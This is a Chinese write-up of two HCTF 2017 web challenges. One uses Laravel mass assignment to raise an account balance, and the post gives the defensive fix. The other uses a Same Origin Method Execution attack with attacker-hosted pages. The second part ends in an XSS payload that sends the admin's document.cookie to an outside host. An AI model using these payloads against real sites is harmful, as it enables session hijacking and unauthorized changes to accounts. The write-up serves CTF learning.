Who are you?

进入界面,右上登录,Steam 账号授权。

然后进Home发现有infomationshopshop里可以买flag推测但显示余额不足。

购买动作的URL为http://gogogo.2017.hctf.io/shop/3,修改3为4可以发现调试模式没关,源码泄露。

    public function buy(Request $request)
        {
            $itemId = $request->route('id');
            $item = Item::find($itemId);
            $prize = $item->prize;
            $balance = Info::find(Auth::id())->amount;
            if ($balance >= $prize) {
                return view('message', ['message' => $item->note]);
            }

            return view('message', ['message' => 'Sorry Sir! You don\'t have enough money']);

        }

得知后端框架为 Laravel,账户余额字段名为amount

infomation页尝试把表单中的name字段改成amount字段并提交,即可充值。

购买拿到flag:hctf{csgo_is_best_fps_game_dA3jf}

推测没有限定提交表单的参数,可以反推后端代码可能为。

    public function update(Request $request)
    {
      $user = Info::where('id', Auth::id())->update($request->all());
    }

Laravel 使用update方法批量赋值时应在Model中声明fillable白名单或者guard黑名单限制参数,或者使用$request->only()来限制。

    Deserted place

    Description 
    maybe nothing here 
    flag in admin cookie
    Now Score 820.35
    Team solved 3

出题思路来自于一个比较特别的叫做SOME的攻击方式,全名Same Origin Method Execution,这是一种2015年被人提出来的攻击方式,可以用来执行同源环境下的任意方法,2年前就有人做了分析。

原paper
http://blog.safedog.cn/?p=13
https://lightless.me/archives/same-origin-...

这里我就不讨论具体的SOME攻击,稍后我会在博客等地方更新具体的分析。

回到题目。

打开题目主要功能有限:

1、登陆
2、注册
3、修改个人信息(修改个人信息后按回车更新自己的信息)、
4、获取随机一个人的信息,并把它的信息更新给我自己

简单测试可以发现,个人信息页面存在self-xss,但问题就在于怎么能更新admin的个人信息。

仔细回顾站内的各种信息,我们能发现所有的更新个人信息都是通过开启子窗口来实现的。

edit.php里面有一个类似于jsonp的接口可以执行任意函数,简单测试可以发现这里正则匹配了.\w+,这意味这我们只能执行已有的js函数,我们可以看看后台的代码。

    $callback = $_GET['callback'];  
    preg_match("/\w+/i", $callback, $matches);

    ...

    echo "<script>";
    echo $matches[0]."();";
    echo "</script>";

已有的函数一共有3个

   function UpdateProfile(){

        var username = document.getElementById('user').value;

        var email = document.getElementById('email').value;

        var message = document.getElementById('mess').value;

        window.opener.document.getElementById("email").innerHTML="Email: "+email;

        window.opener.document.getElementById("mess").innerHTML="Message: "+message;

        console.log("Update user profile success...");

        window.close();

    }

    function EditProfile(){

        document.onkeydown=function(event){

            if (event.keyCode == 13){

                UpdateProfile();

            }

        }

    }

    function RandomProfile(){

        setTimeout('UpdateProfile()', 1000);

    }

如果执行UpdateProfile,站内就会把子窗口的内容发送到父窗口中。但是我们还是没办法控制修改的内容。

回顾站内逻辑,当我们点击click me,首先请求/edit.php?callback=RandomProfile,然后跳转至任意http://hctf.com/edit.php?callback=RandomPr...
然后页面关闭并更新信息到当前用户上,假设这里user是我们设定的还有恶意代码的user,那我们就可以修改admin的信息了,但,怎么能让admin打开这个页面呢?

我们可以尝试一个,如果直接打开edit.php?callback=RandomProfile&user=xiaoming

报错了,不是通过open打开的页面,寻找不到页面内的window.opener对象,也就没办法做任何事。

这里我们只有通过SOME,才能操作同源下的父窗口,首先我们得熟悉同源策略,同源策略规定,只有同源下的页面才能相互读写,如果通过windows.open打开的页面是同源的,那么我们就可以通过window.opener对象来操作父子窗口。

而SOME就是基于这种特性,可以执行同源下的任意方法。

最终payload:

vps, 1.html

    <script>
        function start_some() {
            window.open("2.html");
            location.replace("http://desert.2017.hctf.io/user.php");
        }

        setTimeout(start_some(), 1000);
    </script>

vps, 2.html

        <script>
            function attack() {
                location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
            }

            setTimeout(attack, 2000);

        </script>

getflag!
<img src=”" onerror=window.location.href=’http://0xb.pw?cookie='%2bdocument.cookie>

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~